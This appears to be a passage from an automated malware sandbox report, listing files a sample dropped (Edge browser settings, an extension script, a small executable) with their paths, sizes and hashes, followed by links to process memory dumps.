SSDEEP 96:KR4Jco6GKQWOTDgQQK4FgyQcAQjS49HdqjXNn7vWj4mgfvK4+gBvcldQzGKgKDSF:C4Jco6GK3OT8QkFgyvAQjS49HdqjXNna
TLSH
T10D914404723B0241393FA65C82EA9A2BC2C574723018B52B7BF94579DF6BE425CFD4D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 b1a61f7eb205f2f20fd170842cdc054ae43422cc2ad86ce5664898ba82b7bf8c
MD5 49f6f9cfa2e304df2ab51321bb02b4f0
SHA1 a1eb50085760031fd1f01e9b7ec85af5c2df557d
SHA512 0d0169eb94addfb57c192e9d7fd53cb0ada1206a847e4cf8ec2330cd1023a2e85b51ed3706f6b9c604f2b35bc24a366311e272f99706e9f360eb674aa0855bca
SSDEEP 768:7rv+4UNbdM3TJqMDZIO0VvYBNzc4ReyIsPVeVH1S5F:7bsby3TJTtc44bstEH1W
TLSH
T1C413CF32B8788D37ACFA6285B14776937EF8212B81C40E94D9E99F0C0A475DE171F923
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 9889e17a2d7bf5dd96b28c750a32d7d94dd3f8c1ae9dd7fcf499d23cc9d01df4
MD5 2a8007ef846845ecfce466f1e3566d18
SHA1 fcbebd9925e814f9ea0672e50cd4f35eeb95fd6f
SHA512 39099ab03a868ab12d527ebab3ba1a07bd4fab6126f2e9a58dbb1c171eef0d7d92223a0221fd69cd46c9f631210d4e620e37dcc3bd8fadf8c3ceef604ee7204a
SSDEEP 768:Prv+4UNbdM3TJAMDZIO0VvYBNzc4ReyIsPVeVH1S5F:Pbsby3TJNtc44bstEH1W
TLSH
T18B13CE32B878DD37ACFA6285B14776937EF8212B81840E94D9E99F0C4A471DE171F923
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 b6b7abc919dd46cc487d0b5c54863238087d38f2685d90da04842b72c592ea6b
MD5 bf89b71303753e4f2cdfb98e762f57fe
SHA1 21701c5906253c4ff1c68ff18b84c1ff715c0c77
SHA512 360dcc914b56af5d4a4636b1c1a266193c8721a10e145c24877f1735894d7a5b17e5dc3cf8bef6a04000354729edf8012fa0ef33b170430366c4850fd04f9c78
SSDEEP 768:4j+9O3QqMDZIO0VvYBNzc4ReyIsPVb9MW:n9O3QTtc44bstb+W
TLSH
T10BF2C031BC29CD639CE66385B6073692BEF0217B81C92E84DADDAF0C09836AD175B413
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 6dde74abcacf4cb9db644bd7ab9f495697e5d11e3af60ecca4fb50084d571ed2
MD5 e89dcfcd429f6ed798a287a051e6954b
SHA1 866501a79accf4b30da4e6d03a95900413bfa8f5
SHA512 bb68d30e65dac57041c0de21294a3d48edace729afc8b690fd6fc419ac7ffa8561a64d1ff8a83bdac8ed56a5d89a8c609790ff4fb1056783eb73e571f20e0b85
SSDEEP 768:wj+9K3QitZw5O0VvYgNzc4ReyIsPVb9MW:P9K3QLtc44bstb+W
TLSH
T1B21307F5A8E78936D89E5387633D2D46ADFCD16771881984FBD85E0CCC821BFC60A812
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

ac485678-722e-400d-8251-37896c285fe2.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\ac485678-722e-400d-8251-37896c285fe2.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir3164_262541890\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 980575b1aa410f9bee8b7ca4b5e00fb4ea10f1009823d2698915972a48a418df
MD5 a0f6e83a9278c681164f1db0149f77af
SHA1 f7a387848fca94edf26a1112b6776352757fd55e
SHA512 25457d6cb4b6318e9854b50cbbe67dbd6e8254f1289e2fa7b6bedf44af84ab28fa2f45c5aaaedf2c7975defdb669872991752203e9ba477e3bfc3496d49f62b2
TLSH
T1487123A357B9C9F2C1DE5FF102835244F5FB223C4763302047915586EB70A7A54B8F08
MD5 SHA1 SHA512 TLSH

Submit Download

memory/576-359-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/576-331-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1236-463-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1616-233-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2684-366-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3136-489-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3224-290-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3428-441-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3732-303-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3752-406-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3804-490-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3804-485-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4124-61-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4124-184-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4132-324-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4208-260-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4456-336-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4504-442-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4504-430-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5032-320-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5436-151-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5496-410-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5696-386-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6060-468-0x0000000000010000-0x00000000000AB000-memory.dmp

Download